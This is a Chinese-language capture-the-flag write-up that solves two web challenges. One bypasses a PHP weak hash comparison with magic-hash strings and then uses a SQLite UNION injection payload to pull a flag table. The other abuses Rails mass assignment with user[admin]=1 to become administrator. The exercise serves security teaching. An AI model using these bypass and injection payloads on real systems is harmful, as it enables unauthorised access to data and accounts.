Sqlite SQL Injection
Source Code
<?php
require_once "db.php";
$auth = 0;
if (isset($_COOKIE["auth"])) {
$auth = $_COOKIE["auth"];
$hsh = $_COOKIE["hsh"];
if ($auth == $hsh) {
$auth = 0;
} else {
if (sha1((string) $hsh) == md5((string) $auth)) {
$auth = 1;
} else {
$auth = 0;
}
}
} else {
$auth = 0;
$s = $auth;
setcookie("auth", $s);
setcookie("hsh", sha1((string) $s));
}
if ($auth) {
if (isset($_GET['query'])) {
$db = new SQLite3($SQL_DATABASE, SQLITE3_OPEN_READONLY);
$qstr = SQLITE3::escapeString($_GET['query']);
$query = "SELECT amount FROM my_wallets WHERE id={$qstr}";
$result = $db->querySingle($query);
if (!$result === NULL) {
echo "Error - invalid query";
} else {
echo "Wallet contains: {$result}";
}
} else {
echo "<html><head><title>Admin Page</title></head><body>Welcome to the admin panel!<br /><br /><form name='input' action='admin.php' method='get'>Wallet ID: <input type='text' name='query'><input type='submit' value='Submit Query'></form></body></html>";
}
} else {
echo "Sorry, not authorized.";
}
First
我們需要繞過
sha1((string) $hsh) == md5((string) $auth
一個簡單的弱類型漏洞,只要md5和sha1密文為0exxx…即可
md5("QNKCDZO") == sha1("aaK1STfY")
平時注意收集
Next
$query = "SELECT amount FROM my_wallets WHERE id={$qstr}";
有SQLITE3::escapeString過濾但無單引號的數值型注入
從數據庫找到所有表
-1 union select table_name from sqlite_master limit 1,1
發現flag表,查詢flag表的字段
-1 union select sql from sqlite_master limit 1,1
發現id類型為varchar(255),flag很有藏在其中
-1 union select id from flag limit 1,1
Finally
Payload
query=-1%20union%20select%20id%20from%20flag%20limit%201,1
Get it!
Ruby on Rails
也是源碼審計,然而是我不會的rb,即使如此我也是硬著頭皮往下看
大致瀏覽文件,在config/routes.rb
中可以看到一些路由的定義
結合部署好的web網頁,不難找到其中的邏輯。
註冊了個賬號,各種操作,發現只有Profile以及Micropost可以寫入數據
然後發現./app/views/users/_user.html.erb
中又
結合下一句<% if current_user.admin? && !current_user?(user) %>
可以判斷很有可能是越權,此處應該有flag
然後在./app/controllers/users_controller.rb
可以看到
params.require(:user).permit(:name, :email, :password, :password_confirmation, :admin)
而./app/views/users/edit.html.erb
中沒有admin表單輸入
很明顯提交user[admin]=1
即可成為管理員
然後再某個頁面就能看到一大波的flag~~
The end
隨便看看,隨便做做也就這樣了
FROM : virzz.com | Author:Virink
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论